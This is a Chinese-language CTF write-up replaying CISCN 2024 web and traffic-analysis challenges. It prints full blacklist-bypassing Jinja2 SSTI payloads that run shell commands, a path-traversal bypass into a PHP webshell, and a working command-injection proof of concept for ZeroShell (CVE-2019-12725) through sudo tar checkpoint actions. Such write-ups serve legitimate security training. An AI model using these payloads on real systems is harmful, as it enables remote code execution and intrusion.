ciscn2024 (复现)
Web
Safe_Proxy
解题思路:
比赛的时候和队友一起也没做出来,构造一个ssti的payload绕过黑名单还是不难的,但是无回显卡住了,赛后看wp学到了两个方法。
法1:对app.py进行写入操作
payload:1
code={%set o1=(dict(o=a,s=n))|join%}{%set re=(dict(re=a,ad=n))|join%}{%set pppct=(dict(po=a,pen=n))|join%}{%set%20a=(lipsum|string|list)|attr(%27pop%27)(18)%}{%set%20glob=(a,a,(dict(glo=a,bals=b)|join),a,a)|join%}{%set gt=(a,a,(dict(geti=a,tem=n)|join),a,a)|join%}{{lipsum|attr(glob)|attr(gt)(o1)|attr(pppct)('cat /flag')|attr(re)()}}
复现的时候在本机上搭建了环境,用用hackerbar执行后看终端返回无法识别cat命令,就很抑或,后面知道了真的给自己蠢笑了,windows根本没有cat命令,然后去搜了windows的相关命令emm。。还是没搞出来。然后就去kali搭建了环境,直接执行上面的payload发现读不到flag,那就先ls /看看。
发现根目录下没有flag,一个一个读的话有点麻烦,搜了一下用其他命令代替,find / -name “flag” -exec cat {} \;执行这个命令直接就把flag写出来了。
法2:把执行命令后的结果并将输出格式化为 标签内的文本。
1 | code={%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set ay='so'[::-1]%}{{cycler.next[gl][bu]['ev'+'al']("_"+"_imp"+"ort_"+"_('s"+"ys').modules['_"+"_main_"+"_']._"+"_dict_"+"_['app'].before_request_funcs.setdefault(None,[]).append(lambda:'<pre>{0}</pre>'.format(_"+"_impo"+"rt_"+"_('o"+"s').po"+"pen('cat /flag').read()))")}} |
不知道为啥复现用这个payload没出。
hello_web
解题思路:
这道题当时做的贼难受,源代码给了hackme.php和tips.php两个文件,没法直接访问。尝试伪协议读取文件试了很多都被ban,目录穿越当时只试了一下../../行不通,又急又做不出来,赛后看wp发现只要双鞋绕过就行了,file=…//tips.php还是经验太少了,hackme。php包含了一个一句话木马,把密码搞出来蚁剑连接就可以了。
Misc-危险检测与流量分析
zeroshell_1~3
解题思路:
之前没做过流量分析的题,比赛的时候都是队友做出来的。。。
第一题把数据包拖到wireshark里面看,根据题目描述应该是一个http请求,然后看到一个比较奇怪的请求,referer里有一串base64编码,解码后就是flag。同时也得到了poc:/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=’%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20—checkpoint=1%20—checkpoint-action=exec=’ps%20-ef’%0A’用来写第二题。
还可以根据题目描述可以直接搜到zeroshell的漏洞ZoreShell防火墙版本小于3.9.0存在命令执行(CVE-2019-12725),然后搜到poc。
第二题就直接修改一下poc利用rce漏洞执行‘ls /’,flag在/Database/flag里,直接cat就行。
第三题根据题目描述“找出受控机防火墙设备中驻留木马的外联域名或IP地址,结果提交形式:flag{xxxx},如flag{www.abc.com} 或 flag{16.122.33.44}”,继续修改poc执行netstat -ano命令,发现出站,包起来就是flag了。